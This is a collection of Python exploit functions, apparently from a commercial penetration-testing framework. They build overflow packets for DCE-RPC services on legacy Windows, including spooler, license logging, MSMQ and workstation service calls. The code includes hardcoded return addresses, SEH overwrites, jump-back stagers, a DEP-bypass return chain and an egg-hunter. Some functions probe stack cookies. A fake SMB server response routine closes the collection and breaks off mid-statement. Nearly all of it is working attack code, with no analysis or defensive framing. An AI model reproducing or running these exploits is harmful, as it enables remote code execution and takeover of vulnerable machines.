def buildDcePacket(self): self.description, self.offset, self.eip = targets[self.version] #build overflowing string data = '' data += 'A' * (0x1ca - len(data)) data += struct.pack('<L', self.eip[0]) data += 'B' * 4 if self.version >= 3: #Windows XP SP2 data += struct.pack('<L', self.eip[1]) data += struct.pack('<L', self.eip[3]) data += 'C' * 16 data += struct.pack('<L', self.eip[2]) data += 'D' * 4 data += '\xeb\x1aEE' #esi is restored from here from MOSDEF import mosdef data += mosdef.assemble('addl $0x%x,%%esp\nret' % (self.offset), 'x86') #align data if (len(data) % 2) != 0: data += 'F' if (len(self.shellcode) % 2) != 0: self.shellcode += 'F' #build packet packet = '' packet += struct.pack('<L', 1) #[unique] packet += s_dce_raw_unistring(data) # pName packet += struct.pack('<L', 2) #[unique] packet += s_dce_raw_unistring(self.shellcode) # pEnvironment packet += struct.pack('<L', 1) #Level packet += struct.pack('<L', 3) #[unique] packet += struct.pack('<LL', 4, 1) # pDriverInfo packet += struct.pack('<L', 4) #cbBuf #return packet return packet
def buildDcePacket(self): self.info,self.eip=targets[self.version] data='' packet='' data+='\\\0\\\0' if self.version==1: #Windows 2000 SP4, XP SP1a bufferXP='A'*(0xf048-0xef20) bufferXP+=struct.pack('<L',self.eip[1]) #eip XP bufferXP+='C'*8 data+=bufferXP buffer2K=self.shellcode buffer2K+='D'*(0xf1d0-0xeccc-len(self.shellcode)-len(bufferXP)) buffer2K+=struct.pack('<L',self.eip[0]) #eip 2000 buffer2K+='F'*8 buffer2K+=mosdef.assemble('jmp $-%d'%(len(buffer2K)+5),'x86') #jmp back data+=buffer2K if (len(data)%2)==1: data+='G' data+='\\\0H\0' packet+=intel_order(1) packet+=s_dce_win2k_unistring('F') packet+=s_dce_raw_unistring(data) packet+=intel_order(0) elif self.version>=2: #XP SP2 with DEP from shellcode import shellcodeGenerator sc=shellcodeGenerator.win32() sc.addAttr('SmallSearchCode',{'tag':0x6b303063}) #'c00k' sc.standalone=1 searchcode=self.wc_encodeshellcode(sc.get()) bufferXP=searchcode bufferXP+='A'*(0xf000-0xeeec-len(bufferXP)) bufferXP+=mosdef.assemble('jmp $-%d'%(len(bufferXP)+5),'x86') #jmp back bufferXP+='B'*(0xf014-0xeeec-len(bufferXP)) bufferXP+=struct.pack('<L',self.eip[0]) bufferXP+='C'*8 bufferXP+=struct.pack('<L',self.eip[1]) bufferXP+=struct.pack('<L',self.eip[3]) bufferXP+='D'*16 bufferXP+=struct.pack('<L',self.eip[2]) bufferXP+='E'*4 bufferXP+='\xeb\xd6' #esi is restored from here, jmp back data+=bufferXP data+='\\\x00F\x00' if (len(self.shellcode)%2)==1: self.shellcode+='G' packet+=intel_order(1) packet+=s_dce_raw_unistring('c00k'+self.shellcode) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) return packet
def LlsrLicenseAdd(self, handle): packet = '' packet += handle packet += struct.pack('<LL', 1, 1) packet += struct.pack('<LL', 0x0040d1c0, 0x0040d1c4) packet += struct.pack('<LLL', 1, 0, 0) packet += struct.pack('<LL', 0x0040d1c8, 0x0040d1cc) packet += struct.pack('<LL', 2, 0) packet += struct.pack('<L', 0x0040d1d0) packet += struct.pack('<LLLLL', 0, 0, 0, 0, 0) packet += s_dce_raw_unistring('') packet += s_dce_raw_unistring('') packet += s_dce_raw_unistring('') packet += s_dce_raw_unistring('') packet += s_dce_raw_unistring('') self.myDCE.call(4, packet, response=False)
def buildDcePacket(self): description, ret1, ret2, ret3, ret4 = targets[self.version] data = '\xcc' * 516 data += struct.pack('<L', 0x00010ff0) # empty string (in environment) data += '\xcc' * 4 data += struct.pack('<L', ret1) data += '\xcc' * 28 if self.version == 3: data += struct.pack('<L', ret2) data += struct.pack('<L', ret4) data += '\xcc' * 16 data += struct.pack('<L', ret3) data += '\xcc' * 4 data += '\xeb\x1a\xcc\xcc' # esi is restored from here data += self.shellcode if len(data) % 2 == 1: data += '\xcc' data += '!\x00' packet = intel_order(8) packet += intel_order(1) packet += s_dce_raw_unistring(data) packet += intel_order(1) packet += intel_order(0) packet += intel_order(0) return packet
def buildDcePacket(self): self.description, self.eip = targets[self.version] buffer = '' buffer += mosdef.assemble("""push $0x34 pop %ecx movb $0x02,%ch addl %ecx,%eax jmp %eax """, 'x86') #0x210+0x24=0x234 buffer += 'C' * (0x1c - len(buffer)) buffer += mosdef.assemble('movl 0x34(%esp),%eax', 'x86') buffer += '\xeb\xde' #jmp back buffer += 'D' * (0x24 - len(buffer)) buffer += self.shellcode data = '' data += '\\\0' * 0x102 data += struct.pack('<L', 0x00010ff0) #var_4 data += 'BBBB' #ebp data += struct.pack('<L', self.eip) #eip #jmp esp data += buffer data += 'E' * (0x258 - len(buffer)) #0x258-0x24=0x234 data += '!\0' packet = '' packet += intel_order(8) packet += intel_order(1) packet += s_dce_raw_unistring(data) packet += intel_order(1) packet += intel_order(0) packet += intel_order(0) return packet
def buildDcePacket(self): self.info,self.offset,self.eip=targets[self.version] self.log('Generating attack string for version: %s'%(self.info)) if len(self.shellcode)>self.offset: self.log('Shellcode of len %d is too big for size %d'%(len(self.shellcode),self.offset)) raise Exception,'Shellcode too big!' packet='' data='' data+=self.shellcode data+='A'*(self.offset-len(data)) data+=struct.pack('<L',self.eip) data+='B'*0xc data+=mosdef.assemble('jmp $-%d'%(len(data)+5),'x86') if (len(data)%2)==1: data+='C' packet+=intel_order(0) packet+=intel_order(1) packet+=s_dce_raw_unistring(data) packet+=intel_order(0) packet+=s_dce_win2k_unistring('') packet+=intel_order(0) packet+=intel_order(1) packet+=intel_order(2) packet+=intel_order(0) return packet
def RpcAddPrinterConnection(self,buffer): """ long _RpcAddPrinterConnection ( [in][string] wchar_t * arg_1 ); """ data = '' data += s_dce_raw_unistring(buffer) self.myDCE.call(0x2b, data, response=True)
def EnumPrintersW(self): self.log('Requesting Share Enumeration for %s' % (self.callback.ip)) packet = intel_order(8) packet += intel_order(1) name = '!!\\\\%s' % (self.callback.ip) name = name.encode('UTF-16')[2:] name = self.providor + name packet += s_dce_raw_unistring(name) packet += intel_order(1) packet += intel_order(0) packet += intel_order(0) self.myDCE.call(0x0, packet, response=False) return 1
def buildDcePacket(self): description, eip = targets[self.version] data = 'A' * 0x24c data += struct.pack('<L', eip) data += 'B' * 0x1c data += self.shellcode if len(data) % 2 == 1: data += 'C' packet = intel_order(8) packet += intel_order(1) packet += s_dce_raw_unistring(data) packet += intel_order(1) packet += intel_order(0) packet += intel_order(0) return packet
def OpenPrinterW(self,printer): self.log('Trying to open Printer "%s"'%(printer.decode("utf-16-le","ignore").replace("\x00",""))) packet='' packet+=struct.pack('<L',1) packet+=s_dce_raw_unistring(printer) packet+=struct.pack('<L',0) packet+=struct.pack('<L',0) packet+=struct.pack('<L',0) packet+=struct.pack('<L',0) self.myDCE.call(0x1, packet, response=True) ret = self.myDCE.reassembled_data if not ret: return '' status=struct.unpack('<L',ret[-4:])[0] if status!=0: return '' return ret[:20]
def OpenPrinterW(self,printer): self.log('Trying to open Printer "%s"'%(printer)) packet='' packet+=struct.pack('<L',1) packet+=s_dce_raw_unistring(printer) packet+=struct.pack('<L',0) packet+=struct.pack('<L',0) packet+=struct.pack('<L',0) packet+=struct.pack('<L',4) #PRINTER_ACCESS_ADMINISTER self.myDCE.call(0x1, packet, response=True) ret = self.myDCE.reassembled_data if not ret: return '' status=struct.unpack('<L',ret[-4:])[0] if status!=0: return '' return ret[:20]
def buildDcePacket(self): self.log('version=%d' % (self.version)) self.description, self.eip = targets[self.version] payload = '' if self.version == 1 or self.version == 2 or self.version == 3: #NT 4.0, 2000 and XP payload += 'A' * 0x212 payload += struct.pack('<L', self.eip) payload += 'C' * 0x8 payload += self.shellcode elif self.version == 4: #2003 payload += 'A' * 0x600 if (len(payload) % 2) == 1: payload += '\x00' packet = '' packet += s_dce_raw_unistring(payload) packet += struct.pack('<L', 0) return packet
def buildDcePacket(self): self.description, self.eip = targets[self.version] data = '' data += '/\x00.\x00:\x00/\x00' payload = '' if self.version == 1: #NT 4.0 payload += 'A' * 0xf8 payload += '\xeb\x06' #jmp forward payload += 'BB' payload += struct.pack('<L', self.eip) #SEH from MOSDEF import mosdef payload += mosdef.assemble('jmp $+%d' % (0x114 - (len(payload) + 2) + 4), 'x86') #jmp forward payload += 'C' * (0x114 - len(payload)) payload += 'DDD\xff' #access violation payload += self.shellcode elif self.version == 2: #2000 payload += self.shellcode payload += 'A' * (0x4f8 - len(payload)) payload += '\xeb\x06' #jmp forward payload += 'BB' payload += struct.pack('<L', self.eip) #SEH from MOSDEF import mosdef payload += mosdef.assemble('jmp $-%d' % (len(payload) + 5), 'x86') #jmp backward payload += 'C' * (0x514 - len(payload)) payload += 'DDD\xff' #access violation data += payload packet = '' packet += struct.pack('<L', 3) packet += struct.pack('<L', 1) #[unique] packet += s_dce_raw_unistring(data) packet += struct.pack('<L', 0) packet += struct.pack('<LHHBBBBBBBB', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) packet += struct.pack('<HH', 0, 0) packet += struct.pack('<LHHBBBBBBBB', 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) packet += struct.pack('<HH', 0, 0) packet += struct.pack('<L', 0) packet += struct.pack('<L', 0) return packet
def QMObjectPathToObjectFormat(self): description, eip = targets[self.version] packet = '' data = '' data += self.serverDNSname + '\\\0' data += 'A' * (0x11c - len(self.serverNBname) - 2) data += struct.pack('<L', 0x7ffdf304) #witeable address data += 'B' * 0x10 data += struct.pack('<L', eip) data += 'C' * 0x8 data += self.shellcode if len(data) % 2 != 0: data += 'C' packet += s_dce_raw_unistring(data) packet += struct.pack('<L', 1) packet += struct.pack('<L', 1) packet += '\0' * 4 #print repr(packet) self.log('QMObjectPathToObjectFormat') self.myDCE.dcerpc_connection.s.set_timeout(10 * 60) self.myDCE.call(0xc, packet, response=False)
def QMDeleteObject(self): description,eip=targets[self.version] packet='' packet+=struct.pack('<L',1) packet+=struct.pack('<L',1) packet+=struct.pack('<L',1) packet+=struct.pack('<BBH',3,0,0) packet+=struct.pack('<L',0x8a885d03) packet+=struct.pack('<L',2) data='' data+=msunistring('OS:%s\\PRIVATE$\\'%(unicode2ascii(self.serverNBname)))[:-2] #strip out the NULL terminator data+='A'*(304-(len(self.serverNBname)+2*len('\\PRIVATE$\\'))) data+=struct.pack('<L',eip) data+='B'*0xc data+=self.shellcode if (len(data)%2)!=0: data+='C' packet+=s_dce_raw_unistring(data) packet+=struct.pack('<L',0) self.log('QMDeleteObject request') self.myDCE.call(9,packet,response=True)
def buildDcePacket(self): self.log('version=%d' % (self.version)) self.description, self.eip = targets[self.version] payload = '' packet = '' if self.description.count('2000') > 0: self.targetfunction = 0x19 #NetrValidateName if len(self.shellcode) > 0x7e1: raise Exception, 'Shellcode too long!' payload += self.shellcode payload += 'A' * (0x7e1 - len(payload)) payload += struct.pack('<L', self.eip) if (len(payload) % 2) == 1: payload += 'B' packet += struct.pack('<L', 0) packet += s_dce_raw_unistring(payload) packet += struct.pack('<LLL', 0, 0, 0) elif self.description.count('XP') > 0: self.targetfunction = 0x1b #NetrAddAlternateComputerName if len(self.shellcode) > (0xda4 - 0x810): raise Exception, 'Shellcode too long!' payload += 'A' * 0x7fc payload += 'BBB\xff' #access violation payload += 'C' * 0x10 offset = len(payload) payload += self.shellcode payload += 'D' * (0xda4 - len(payload)) payload += '\xeb\x06' #jmp forward payload += 'EE' payload += struct.pack('<L', self.eip) from MOSDEF import mosdef payload += mosdef.assemble( 'jmp $-%d' % (len(payload) + 5 - offset), 'x86') #jmp backward packet += struct.pack('<L', 0) packet += struct.pack('<L', 1) #[unique] packet += s_dce_unistring(payload) packet += struct.pack('<LLL', 0, 0, 0) return packet
def buildDcePacket(self): description, ret = targets[self.version] self.getArgs() if self.usefakedc == 1: print 'Using fake local Domain Controller' if len(self.domain) > 15: raise Exception, 'Fake domain name is too long!' import threading self.NBNSthread = threading.Thread(target=self.fakeNBNSserver) self.NBNSthread.start() self.NBDGMthread = threading.Thread(target=self.fakeNBDGMserver) self.NBDGMthread.start() time.sleep(1) domain = self.domain + '\\' data = '' for i in range(len(domain)): data += domain[i] + '\0' #turn domain to unicode data += 'A' * (0x2cc + 0xc) #overflow here data += 'BBB\xff' #triggers an exception in a wcschr() call data += 'CCCC' data += 'DDDD' #such as &2==0 to go to the wcschr() data += self.shellcode data += 'E' * ((0xd38 - 0x7d4) - len(self.shellcode)) data += '\xeb\x06' #jmp over data += 'FF' data += struct.pack('<L', ret) #SEH from MOSDEF import mosdef data += mosdef.assemble('jmp $-%d' % (0xd38 - 0x7d4 + 8 + 5), 'X86') #jmp back if len(data) % 2 == 1: data += 'G' #pad to even length packet = intel_order(0) #null packet += s_dce_raw_unistring(data) #DOMAIN\MACHINE packet += intel_order(0) #null packet += intel_order(0) #null packet += intel_order(0) #null packet += intel_order(1) #NETSETUP_JOIN_DOMAIN return packet
def buildDcePacket(self): self.log('version=%d' % (self.version)) self.description, self.eip = targets[self.version] data = '' packet = '' if self.description.count('2000') > 0: data += '\\' data += self.shellcode data += 'A' * (0x7e4 - len(data)) data += 'BBB\xff' #access violation data += 'C' * (0xb10 - len(data)) from MOSDEF import mosdef data += mosdef.assemble('jmp $-%d' % (len(data) - 1 + 5), 'x86') #jmp backward data += 'DDD' data += '\xeb\xf6' #jmp backward data += 'EE' data += struct.pack('<L', self.eip) #SEH packet += s_dce_win2k_unistring(data) elif self.description.count('XP') > 0: data += '\\\x00' data += self.shellcode data += 'A' * (0x7ac - len(data)) data += struct.pack('<L', self.eip) data += 'B' * 0xc from MOSDEF import mosdef data += mosdef.assemble('jmp $-%d' % (len(data) - 2 + 5), 'x86') #jmp backward if (len(data) % 2) == 1: data += 'C' packet += s_dce_raw_unistring(data) packet += struct.pack('<L', 0) packet += s_dce_unistring('') packet += s_dce_unistring('') packet += s_dce_unistring('') packet += struct.pack('<LLLLLL', 0, 0, 0, 0, 0, 0) return packet
def buildDcePacket(self): self.log('version=%d'%(self.version)) self.description,self.eip=targets[self.version] payload='' if self.version==1: #NT 4.0 payload+='A'*0x28 payload+='BBB\xff' #access violation payload+='C'*0x70 #needed because some data is overwritten in here offset=len(payload) payload+=self.shellcode payload+='D'*(0x418-len(payload)) payload+='\xeb\x06' #jmp forward payload+='EE' payload+=struct.pack('<L',self.eip) #SEH payload+=mosdef.assemble('jmp $-%d'%(len(payload)-offset+5),'x86') #jmp backward elif self.version==2: #2000 payload+='A'*0x2c payload+='BBB\xff' #access violation offset=len(payload) payload+=self.shellcode payload+='C'*(0x600-len(payload)) payload+='\xeb\x06' #jmp forward payload+='DD' payload+=struct.pack('<L',self.eip) #SEH payload+=mosdef.assemble('jmp $-%d'%(len(payload)-offset+5),'x86') #jmp backward elif self.version==3: #XP payload+='A'*0x2c payload+='BBB\xff' #access violation offset=len(payload) payload+=self.shellcode payload+='C'*(0x5bc-len(payload)) payload+='\xeb\x06' #jmp forward payload+='DD' payload+=struct.pack('<L',self.eip) #SEH payload+=mosdef.assemble('jmp $-%d'%(len(payload)-offset+5),'x86') #jmp backward elif self.version==4: #2003 payload+='A'*0x30 payload+='BBB\xff' #access violation offset=len(payload) payload+=self.shellcode payload+='C'*(0x580-len(payload)) payload+='\xeb\x06' #jmp forward payload+='DD' payload+=struct.pack('<L',self.eip) #SEH payload+=mosdef.assemble('jmp $-%d'%(len(payload)-offset+5),'x86') #jmp backward data='\\\x00\\\x00' data+=payload if (len(data)%2)==1: data+='F' data+='\\\x00A\x00' packet='' #based on IDL recovered using mIDA packet+=struct.pack('<HHLL',5,1,0,0) packet+=struct.pack('<LHHBBBBBBBB',1,1,1,1,1,1,1,1,1,1,1) packet+=struct.pack('<L',0) packet+=struct.pack('<LHHBBBBBBBB',0,0,0,0,0,0,0,0,0,0,0) packet+=struct.pack('<L',1) #[unique] packet+=s_dce_raw_unistring(data) packet+=struct.pack('<L',0) packet+=struct.pack('<LL',1,1) packet+=struct.pack('<LL',1,1) packet+=struct.pack('<LL',1,1) packet+=struct.pack('<LLLLLL',1,1,1,1,1,1) return packet
def buildDcePacket(self): self.log('Using version %d' % (self.version)) self.info, self.base, eip, self.distance = targets[self.version] self.eip = [] for i in range(len(eip)): self.eip += [eip[i]] self.log('Attacking %s' % (self.info)) data = '' payload = '' payload += u'A\\..\\..\\'.encode('utf-16le') mark = len(payload) if self.version == self.WINNT4: #Windows NT 4.0 stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += struct.pack('<L', self.eip[0]) payload += 'BBBB' payload += stager payload += 'C' * (0x4a - (len(payload) - mark)) elif self.version == self.WIN2000 or self.version == self.WINXP: #Windows 2000 or Windows XP SP0-SP1a stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += 'A' * 0x12 payload += struct.pack('<L', self.eip[0]) payload += stager payload += 'C' * (0x48 - (len(payload) - mark)) payload += '\xeb\xcc' elif self.version == self.WIN2003: #Windows 2003 SP0 stager2k = """movl %%esp,%%eax addw $0x%x,%%ax movl (%%eax),%%eax jmp %%eax""" % (self.distance) stager = mosdef.assemble(stager2k, 'x86') payload += 'AA' payload += struct.pack('<L', self.eip[0]) payload += 'C' * 0x32 payload += stager payload += 'D' * (0x4a - (len(payload) - mark)) elif self.version in self.deptargets: #Windows XP SP2-SP3, or Windows 2003 SP1-SP2 for i in range(len(self.eip)): self.eip[i] += self.base stagerXp = """movl %%esp,%%eax addw $0x%x,%%ax movl 0x0(%%eax),%%eax pushl %%eax call %%esi jmp %%eax""" % (self.distance) #__wcsdup stager = mosdef.assemble(stagerXp, 'x86') if len(stager) > 0x0e: raise Exception, 'Somebody messed up something in MOSDEF, cannot continue' #HI DAVE!!! #This is based on a Nicolas P. idea payload += struct.pack('<L', self.eip[7]) #call eax payload += stager payload += 'B' * (0x12 - (len(payload) - mark)) payload += struct.pack('<LLLL', self.eip[0], 0xffffffff, 0x00010001, 0x00010001) #HeapCreate payload += 'C' * 4 #discarded payload += struct.pack('<LL', self.eip[1], 0xfffffff5) payload += struct.pack('<L', self.eip[2]) payload += struct.pack('<L', self.eip[6]) #__wcsdup payload += 'D' * 4 #discarded payload += struct.pack('<L', self.eip[3]) payload += struct.pack('<L', self.eip[4]) payload += struct.pack('<L', self.eip[5]) payload += struct.pack('<L', self.eip[6] + 5) #__wcsdup+5 payload += '\0\0' data += struct.pack('<L', 0x00000001) if len(self.shellcode) % 2 != 0: self.shellcode += 'A' data += s_dce_raw_unistring(self.shellcode + 'A' * 64 + '\0\0') data += s_dce_raw_unistring(payload) data += struct.pack('<L', 0x00000002) data += s_dce_win2k_unistring('\\') data += struct.pack('<LL', 1, 1) return data
def LlsrLicenseRequest(self, data): packet = '' packet += s_dce_raw_unistring(data) packet += struct.pack('<L', ((len(data) / 2) - 1)) packet += struct.pack('<LLLL', 1, 0, 0, 0) self.myDCE.call(0, packet, response=True)
def buildDcePacket(self): self.info, self.eip = targets[self.version] self.log('Attacking %s' % (self.info)) data = '' if self.version == 1 or self.version == 2: #Windows NT 4.0 SP6a and 2000 SP0-SP4 payload = '' payload += self.shellcode payload += 'A' * (0x416 - len(payload)) payload += struct.pack('<L', self.eip + 2) payload += 'CCCCDDDD' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) data += struct.pack('<L', 0) data += s_dce_raw_unistring(payload) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('/') data += struct.pack('<LL', 1, 1) elif self.version == 3: #Windows XP SP1a (slight difference between SP0 and SP1a) stager = """addl $0x70,%esp movl 0x60(%esp),%eax addl $0x10,%eax call %eax""" padsize = 0x20 payload = '' payload += 'A' * padsize #the beginning of the buffer might get corrupted payload += mosdef.assemble(stager, 'x86') payload += 'A' * (0x264 - len(payload)) payload += struct.pack('<L', self.eip + padsize) #for SP0 payload += 'CCCCDDDD' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) payload += 'E' * (0x294 - len(payload)) payload += struct.pack('<L', self.eip + padsize) #for SP1a payload += 'FFFFGGGG' payload += struct.pack('<L', self.eip) payload += struct.pack('<L', 0xffffffff) data += struct.pack('<L', 0) data += s_dce_raw_unistring(payload) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('') data += struct.pack('<LL', 1, 1) resp = True if self.response else False ret = self.myDCE.call(self.targetfunction, data, response=resp) if (len(self.shellcode) % 2) != 0: self.shellcode += 'E' data += struct.pack('<L', 0) data += s_dce_raw_unistring(self.shellcode) data += struct.pack('<L', 1) data += s_dce_win2k_unistring('') data += struct.pack('<LL', 1, 1) self.connect() elif self.version == 4: #Windows 2003 SP0, I won't touch that yet marshaller = dcemarshaller() geteip = self.eip # First call: Find the disaligment of the unitialized rpc call # Basically, we send a string, and see how many garbage we have before our string self.log( "1) Finding the correct aligment of the unitialized buffer") buffer = "ABCD" data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data first_offset = ret.find("ABCD") self.log(" - Aligment found : 0x%04x" % first_offset) # Second call: Now we know exactly the offset of the disaligment, so now we will try to # know exaclty at what point the buffer gets written by a double "zero" on the overwrite func # Two rpc calls need for that self.log("2) Finding the point where unitialized gets overwritten") self.connect() buffer = intel_order(geteip - first_offset) + "A" * 0x200 data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data second_offset = 0 self.connect() buffer = "B" * 0x10 data = self.doMarshall(marshaller, buffer) self.myDCE.call(self.targetfunction, data, response=True) ret = self.myDCE.reassembled_data if ret: second_offset = self.parseResponse(ret) # returns the offset self.log(" - Offset to the overwrite: 0x%04x" % second_offset) # This guy, overwrites ndx = 0x418 - second_offset if ndx < len(self.shellcode): self.log( "Sorry, The shellcode is too big to Work (size: %d, available: %d)" % (len(self.shellcode), ndx)) return "" buffer = "A" * 0x8 + self.shellcode + "B" * (ndx - 8 - len(self.shellcode)) buffer += intel_order(geteip - first_offset) # stack cookie buffer += "CCCC" # EBP buffer += intel_order(geteip + second_offset - first_offset) # ret address buffer += intel_order(geteip - first_offset) * 4 # arguments self.log("3) Stack layout: ") self.log( " [ 0x%08x] # DWORD that overwrite where the cookie is " % (geteip - first_offset)) self.log(" [ .... ] # nops + shellcode") self.log(" [ 0x%08x] # stack cookie" % (geteip - first_offset)) self.log(" [ 0x%08x] # EBP " % 0x43434343) self.log(" [ 0x%08x] # RET " % (geteip + second_offset - first_offset)) self.log(" [ ... ] # ") self.log( " [ 0x%08x] # arg_8 which is passed to a memcpy, and copy this buffer into the cookie .data" % (geteip - first_offset)) data = self.doMarshall(marshaller, buffer) #try: # ret = self.myDCE.call(self.targetfunction,data, response = 1) #except DCEException: # print "Exception #3" self.connect() return data
def handleSMBclient(self, s, eip): """Handles a SMB client connection""" request = self.recvall(s) #Negotiate Protocol Request if len(request) < 9 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x72: self.log( 'Unexpected packet received instead of "Negotiate Protocol Request"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Negotiate Protocol Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0055) + '\xffSMB' + struct.pack( '<BL', 0x72, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc853, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0000, muxid) response += struct.pack('<BHBHHLLL', 0x11, 0x0005, 0x03, 0x000a, 0x0001, 0x00001104, 0x00010000, 0x00000000) response += struct.pack('<LLLHBH', 0x8000e3fd, 0x00000000, 0x00000000, 0x0168, 0x00, 0x0010) + '\xff' * 0x10 s.sendall(response) request = self.recvall(s) #Session Setup AndX Request, NTLMSSP_NEGOTIATE if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x73: self.log( 'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_NEGOTIATE"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Session Setup AndX Response, NTLMSSP_CHALLENGE, Error: STATUS_MORE_PROCESSING_REQUIRED response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x011d) + '\xffSMB' + struct.pack( '<BL', 0x73, 0xc0000016) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800, muxid) response += struct.pack('<BBBHH', 0x04, 0xff, 0x00, 0x011d, 0x0000) response += struct.pack('<HH', 0x00a8, 0x00f2) + 'NTLMSSP\0' + struct.pack( '<L', 0x00000002) response += struct.pack('<HHL', 0x0014, 0x0014, 0x00000030) + struct.pack( '<L', 0xe08a8215) + '\0' * 16 response += struct.pack('<HHL', 0x0064, 0x0064, 0x00000044) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0002, 0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0001, 0x0014) + 'FAKESMBSRV'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0004, 0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:] response += struct.pack('<HH', 0x0003, 0x0014) + 'fakesmbsrv'.encode('UTF-16')[2:] response += struct.pack('<L', 0x00000000) if len(response) % 2 != 0: response += '\0' response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0' response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0' s.sendall(response) request = self.recvall(s) #Session Setup AndX Request, NTLMSSP_AUTH, User: ??? if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x73: self.log( 'Unexpected packet received instead of "Session Setup AndX Request, NTLMSSP_AUTH, User: ???"' ) return muxid = struct.unpack('<H', request[0x22:0x24])[0] #Session Setup AndX Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0075) + '\xffSMB' + struct.pack( '<BL', 0x73, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0000, 0xfeff, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x04, 0xff, 0x00, 0x0075) response += struct.pack('<HHHB', 0x0000, 0x0000, 0x004a, 0x4e) response += 'Windows 5.0'.encode('UTF-16')[2:] + '\0\0' response += 'Windows 2000 LAN Manager'.encode('UTF-16')[2:] + '\0' s.sendall(response) request = self.recvall(s) #Tree Connect AndX Request, Path: ??? if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x75: self.log( 'Unexpected packet received instead of "Tree Connect AndX Request, Path: ???"' ) return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #Tree Connect AndX Response response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0038) + '\xffSMB' + struct.pack( '<BL', 0x75, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, 0xfeff, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x07, 0xff, 0x00, 0x0038) response += struct.pack('<HHHHHH', 0x0001, 0x01ff, 0x0000, 0x01ff, 0x0000, 0x0007) + 'IPC' + '\0' * 4 s.sendall(response) request = self.recvall(s) #NT Create AndX Request, Path: \srvsvc if len(request) < 0x24 or request[4:8] != '\xffSMB' or ord( request[8]) != 0xa2: self.log('Unexpected packet received') return False muxid = struct.unpack('<H', request[0x22:0x24])[0] #NT Create AndX Response, FID: 0x4000 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x0087) + '\xffSMB' + struct.pack( '<BL', 0xa2, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, 0x01a4, 0x0800, muxid) #tid pid uid response += struct.pack('<BBBH', 0x2a, 0xff, 0x00, 0x0087) response += struct.pack('<BHL', 0x00, 0x4000, 0x00000001) + '\0' * 32 #fid response += struct.pack('<LLL', 0x00000080, 0x00001000, 0x00000000) + '\0' * 8 response += struct.pack('<HHBH', 0x0002, 0x05ff, 0x00, 0x0000) response += struct.pack('<HHL', 0x0014, 0x0014, 0x00000076) response += struct.pack('<HHL', 0x0010, 0x0010, 0x000000ba) response += struct.pack('<LHHHHHH', 0xe2888215, 0x0005, 0x01ff, 0x001f, 0x01fb, 0x0012, 0x004f) #unknown s.sendall(response) request = self.recvall(s) #DCERPC Bind: call_id: 1 SRVSVC V3.0 if len(request) < 0x68 or request[4:8] != '\xffSMB' or ord( request[8]) != 0x25: self.log( 'Unexpected packet received instead of "DCERPC Bind: call_id: 1 SRVSVC V3.0"' ) return False callid = struct.unpack('<L', request[0x64:0x68])[0] pid = struct.unpack('<H', request[0x1e:0x20])[0] muxid = struct.unpack('<H', request[0x22:0x24])[0] #DCERPC Bind_ack: call_id: 1 accept max_xmit: 4280 max_recv: 4280 response = '' response += struct.pack('>BBH', 0x00, 0x00, 0x007c) + '\xffSMB' + struct.pack( '<BL', 0x25, 0x00000000) response += struct.pack('<BHH', 0x98, 0xc807, 0x0000) + '\0' * 0x08 response += struct.pack('<HHHHH', 0x0000, 0x0800, pid, 0x0800, muxid) #tid pid uid response += struct.pack('<BHHHHHHHHHBBHB', 0x0a, 0x0000, 0x0044, 0x0000, 0x0000, 0x0038, 0x0000, 0x0044, 0x0038, 0x0000, 0x00, 0x00, 0x0045, 0x00) response += struct.pack('<BBBBLHHLHH', 0x05, 0x00, 0x0c, 0x03, 0x00000010, 0x0044, 0x0000, callid, 0x10b8, 0x10b8) response += struct.pack('<LH', 0x000064fd, 0x000d) + 